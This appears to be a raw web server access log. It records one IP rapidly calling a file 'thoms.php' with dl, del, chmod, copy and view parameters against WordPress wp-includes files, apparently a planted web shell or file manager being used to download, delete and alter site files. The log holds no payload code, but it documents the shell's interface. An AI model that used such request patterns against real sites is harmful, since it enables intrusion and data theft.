45.135.193.11 - - [11/Sep/2026:23:28:21 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:21 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59160 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:21 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 200 13913 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:22 -0400] "GET /thoms.php?chmod=formatting.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=formatting.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:22 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:22 -0400] "GET /thoms.php?del=media-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59183 "http://163.245.207.76:443/thoms.php?del=media-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:22 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpost-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpost-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:22 -0400] "GET /thoms.php?dl=class-wp-network.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:22 -0400] "GET /thoms.php?del=ms-load.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59107 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:22 -0400] "GET /thoms.php?chmod=post.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:22 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=theme.php HTTP/1.1" 200 50965 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:23 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-nav-menu.php HTTP/1.1" 200 15108 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:23 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=rss-functions.php HTTP/1.1" 200 12109 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:23 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:23 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:23 -0400] "GET /thoms.php?del=registration-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:23 -0400] "GET /thoms.php?dl=view-config.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=view-config.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:23 -0400] "GET /bossini.com.tw/wp-includes/class-wp-exception.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:23 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 200 17014 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:23 -0400] "GET /thoms.php?dl=class-oembed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=default-widgets.php HTTP/1.1" 200 12402 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-supports.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 200 13577 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /thoms.php?chmod=category-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=category-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /thoms.php?chmod=class-wp-embed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /thoms.php?dl=feed-rss2.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59157 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:24 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 200 12614 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:25 -0400] "GET /bossini.com.tw/wp-includes/class-wp-application-passwords.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:25 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 200 22466 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:25 -0400] "GET /thoms.php?chmod=class-wp-speculation-rules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-speculation-rules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:25 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:25 -0400] "GET /thoms.php?dl=author-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59156 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:25 -0400] "GET /thoms.php?del=class-smtp.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:25 -0400] "GET /thoms.php?dl=l10n.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:26 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 200 13502 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:25 -0400] "GET /thoms.php?del=class-oembed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-oembed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:26 -0400] "GET /bossini.com.tw/wp-includes/https-detection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:26 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=plugin.php HTTP/1.1" 200 21195 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:26 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fvars.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fvars.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:26 -0400] "GET /thoms.php?dl=functions.wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:26 -0400] "GET /thoms.php?chmod=ms-files.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:26 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=taxonomy.php HTTP/1.1" 200 61826 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:26 -0400] "GET /thoms.php?dl=robots-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:26 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=theme-templates.php HTTP/1.1" 200 13620 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:26 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fblock-bindings HTTP/1.1" 200 13451 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:27 -0400] "GET /thoms.php?chmod=atomlib.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:27 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcategory-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcategory-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:27 -0400] "GET /thoms.php?dl=class-IXR.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:27 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59105 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:27 -0400] "GET /thoms.php?del=class-wp-connector-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59145 "http://163.245.207.76:443/thoms.php?del=class-wp-connector-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:27 -0400] "GET /thoms.php?dl=class-wp-embed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:27 -0400] "GET /bossini.com.tw/wp-includes/block-patterns/ HTTP/1.1" 200 1509 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:28 -0400] "GET /bossini.com.tw/wp-includes/class-wp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:28 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:27 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:28 -0400] "GET /thoms.php?chmod=class-wp-image-editor-imagick.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:28 -0400] "GET /bossini.com.tw/wp-includes/block-bindings/ HTTP/1.1" 200 950 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:28 -0400] "GET /bossini.com.tw/wp-includes/class-feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:28 -0400] "GET /thoms.php?dl=general-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:28 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php HTTP/1.1" 200 26552 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:28 -0400] "GET /thoms.php?del=theme-previews.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:28 -0400] "GET /bossini.com.tw/wp-includes/script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:28 -0400] "GET /thoms.php?dl=class-walker-comment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 200 14553 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fsitemaps HTTP/1.1" 200 13968 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:29 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
